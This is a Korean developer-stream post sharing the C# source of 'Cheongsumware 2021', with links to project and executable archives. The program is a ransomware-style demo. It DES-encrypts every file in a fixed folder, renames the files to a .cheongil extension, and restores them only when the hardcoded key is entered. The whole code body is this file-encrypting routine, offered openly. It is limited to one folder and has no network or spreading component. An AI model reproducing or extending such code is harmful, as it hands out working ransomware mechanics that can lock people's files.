개발방송 소스코드
청섬웨어 2021 코드, 실행파일, 프로젝트
2021.07.28
2497
청일TV
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security.Cryptography;
using System.IO;
 
namespace cheongsumware2021
{
    public partial class Form1 : Form
    {
        string key = "cheongil"
        string path = @"C:\격리소";
        public Form1()
        {
            InitializeComponent();
        }
 
        private void button1_Click(object sender, EventArgs e)
        { // 암호화
            run(key, DES.DesType.Encrypt);
        }
 
        private void button2_Click(object sender, EventArgs e)
        { //복호화
            string decKey = textBox1.Text;
            if (textBox1.Text == "") {
                MessageBox.Show("복호화 키를 입력해주세요");
                return;
            }
            if (textBox1.Text != key)
            {
                MessageBox.Show("복호화 키가 일치하지 않습니다.");
                return;
            }
            run(decKey, DES.DesType.Decrypt);
        }
 
        void run(string key, DES.DesType type) {
            if (Directory.Exists(path))
            {
                var des = new DES(key);
                DirectoryInfo di = new DirectoryInfo(path);
                foreach (var item in di.GetFiles())
                {
                    Console.WriteLine(item.Name);
                    string path2 = path + @"\" + item.Name;
                    //FileInfo file = new FileInfo(path2);
                    //file.IsReadOnly = false;
                    StreamReader sr = new StreamReader(path2);
                    string text = sr.ReadToEnd();
                    sr.Close();
                    if (type == DES.DesType.Encrypt)
                    {
                        string newText = des.result(type, text);
                        using (StreamWriter sw = new StreamWriter(path2, false))
                        {
                            sw.Write(newText + "|" + Path.GetExtension(path2));
                            sw.Close();
                        }
                        string ext = Path.ChangeExtension(path2, ".cheongil");
                        File.Move(path2, ext);
                        
                    }
                    else {
                        string[] texts = text.Split('|');
                        // texts[0] ==  "암호화된 원래내용"
                        //texts[1] == "확장자명"
                        string newText = des.result(type, texts[0]);
                        using (StreamWriter sw = new StreamWriter(path2, false))
                        {
                            sw.Write(newText);
                            sw.Close();
                        }
                        string ext = Path.ChangeExtension(path2, texts[1]);
                        File.Move(path2, ext);
                    }
                    
                    //Console.WriteLine("-"+ newText);  
                }
            }
            else
            {
                MessageBox.Show("해당 폴더가 존재하지 않습니다.");
            }
        }
    }
    public class DES
    {
        public enum DesType
        {
            Encrypt = 0,    // 암호화
            Decrypt = 1     // 복호화
        }
        // Key 값은 무조건 8자리여야한다.
        private byte[] Key { get; set; }
        // 암호화/복호화 메서드
        public string result(DesType type, string input)
        {
            var des = new DESCryptoServiceProvider()
            {
                Key = Key,
                IV = Key
            };
            var ms = new MemoryStream();
            // 익명 타입으로 transform / data 정의
            var property = new
            {
                transform = type.Equals(DesType.Encrypt) ? des.CreateEncryptor() : des.CreateDecryptor(),
                data = type.Equals(DesType.Encrypt) ? Encoding.UTF8.GetBytes(input.ToCharArray()) : Convert.FromBase64String(input)
            };
            var cryStream = new CryptoStream(ms, property.transform, CryptoStreamMode.Write);
            var data = property.data;
            cryStream.Write(data, 0, data.Length);
            cryStream.FlushFinalBlock();
            return type.Equals(DesType.Encrypt) ? Convert.ToBase64String(ms.ToArray()) : Encoding.UTF8.GetString(ms.GetBuffer());
        }
        // 생성자
        public DES(string key)
        {
            Key = ASCIIEncoding.ASCII.GetBytes(key);
        }
    }
}
Colored by Color Scripter
cs

파일리스트
61002595f3989_cheongsumware2021_프로젝트.zip
610025a801f45_cheongsumware2021_실행파일.zip


댓글작성
ⓒ 청일TV

이용약관개인정보 취급방침 에 동의합니다.